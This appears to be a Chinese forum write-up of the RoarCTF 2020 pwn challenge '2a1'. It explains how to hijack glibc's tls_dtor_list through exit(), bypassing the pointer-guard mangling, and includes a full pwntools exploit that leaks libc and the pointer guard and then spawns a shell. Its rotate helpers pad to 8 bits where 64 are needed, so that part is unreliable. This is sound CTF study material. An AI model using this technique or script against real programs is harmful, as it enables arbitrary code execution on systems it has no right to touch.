-
-
[原创]roarctf 2020 PWN 2a1
-
发表于: 2020-12-21 22:42 6468
-
roarctf 2020 PWN 2a1
最近期末考试,忙里偷闲来复现一下orz
题目分析
一个任意读,一个任意写,打exit,但不是传统的exithook劫持。可以对比一下。
1.传统的exithook是根据:exit()->run_exit_handlers->_dl_fini->rtld_lock_unlock_recursive,这跳路线。但是这道题他赋给任意写的位置的是一个heap地址,并不是直接把我们输入的值写过去,所以这一条路走不通。
2.重新找一条路:
1 2 3 4 5 6 7 8 9 10 | exit() __run_exit_handlers ( int status, struct exit_function_list * * listp, bool run_list_atexit) __call_tls_dtors (void) 这个函数负责析构tls结构体。 { while (tls_dtor_list) struct dtor_list * cur = tls_dtor_list; dtor_func func = cur - >func; / / func刚好是dtor_list中的第一个位置的成员。 PTR_DEMANGLE (func); func (cur - >obj); / / obj是第二次位置的成员。 } |
如此我们通过将 func写成system,将obj写成binsh,即可。
也就是说核心在于劫持tls_dtor_list
为我们的heap地址。然后依次放上system和binsh地址。
而PTR_DEMANGLE对func做了异或的操作
1 2 3 | # define PTR_DEMANGLE(reg) ror $ 2 * LP_SIZE + 1 , reg; \ xor % fs:POINTER_GUARD, reg |
做了循环右移并且与pointer_guard做异或。但是tls结构体位置不固定,需要爆破。pointer_guard在tls 0x30的位置。也就是stack_guard(canary)的下面,他们俩个一个用来保护栈,一个用来保护指针。
取tls_dtor_list
的时候是从 TLS-0x40 处取的。
1 2 3 | 0x7ffff7a475d6 <__call_tls_dtors + 6 > mov rbp, qword ptr [rip + 0x3897a3 ] ;RBP 0xffffffffffffffc0 0x7ffff7a475dd <__call_tls_dtors + 13 > mov rbx, qword ptr fs:[rbp] |
加密处理过程如下:
1 2 | 0x7ffff7a475fb <__call_tls_dtors + 43 > ror rax, 0x11 0x7ffff7a475ff <__call_tls_dtors + 47 > xor rax, qword ptr fs:[ 0x30 ] |
先右移再异或。所以就是:system先xor pointer_guard再左移0x11.
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | # encoding=utf-8 from pwn import * from LibcSearcher import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so" elf_path = "./2a1" ld = ELF( '/lib/x86_64-linux-gnu/ld-2.23.so' ) libc = ELF(libc_path) elf = ELF(elf_path) context.timeout = 5 #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) def ROR(i,index): tmp = bin (i)[ 2 :].rjust( 8 , "0" ) for _ in range (index): # 模拟循环右移 tmp = tmp[ - 1 ] + tmp[: - 1 ] #取最后一位 取从第1位到最后一位前一位,拼接起来。相当于右移了一位。 return int (tmp, 2 ) def ROL(i,index): tmp = bin (i)[ 2 :].rjust( 8 , "0" ) for _ in range (index): tmp = tmp[ 1 :] + tmp[ 0 ] return int (tmp, 2 ) def exp(): global io #io = process(elf_path) #get_libc_base(io) #io = remote("111.231.70.44",28026) sleep( 0.5 ) ru( "Gift: " ) sleep( 0.5 ) libc.address = eval (ru( '\n' )) - libc.sym[ 'alarm' ] success( "libc:" + hex (libc.address)) system = libc.sym[ 'system' ] if libc.address >> 40 ! = 0x7f : info( "error libc!" ) raise Exception( 'error libc!' ) binsh = libc.search( "/bin/sh" ). next () success( "binsh:" + hex (binsh)) success( "system:" + hex (system)) offset = 0x5ed700 #一般只有中间两位不一样 #offset = 0x5cd700 TLS = offset + libc.address tls_dtor_list_addr = TLS - 0x40 success( "tls_dtor_list:" + hex (tls_dtor_list_addr)) success( "pointer_guard_addr:" + hex (TLS + 0x30 )) read = p64(TLS + 0x30 ) #pointer_guard; write = p64(tls_dtor_list_addr) sa( 'where to read?:' ,read) ru( "data: " ) pointer_guard = u64(r( 8 )) success( "pointer_guard:" + hex (pointer_guard)) if pointer_guard = = 0x6f74206572656877 : info( "error pointer_guard" ) raise Exception( 'error pointer_guard!' ) sa( 'where to write?:' ,write) #pause() msg = p64(ROL( int (system)^pointer_guard, 0x11 )) + p64(binsh) sa( 'msg: ' ,msg) #ru('123') shell() try : exp() except Exception: io.close() |
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2020-12-21 22:45
被Roland_编辑
,原因:
赞赏
他的文章
看原图
赞赏
雪币:
留言: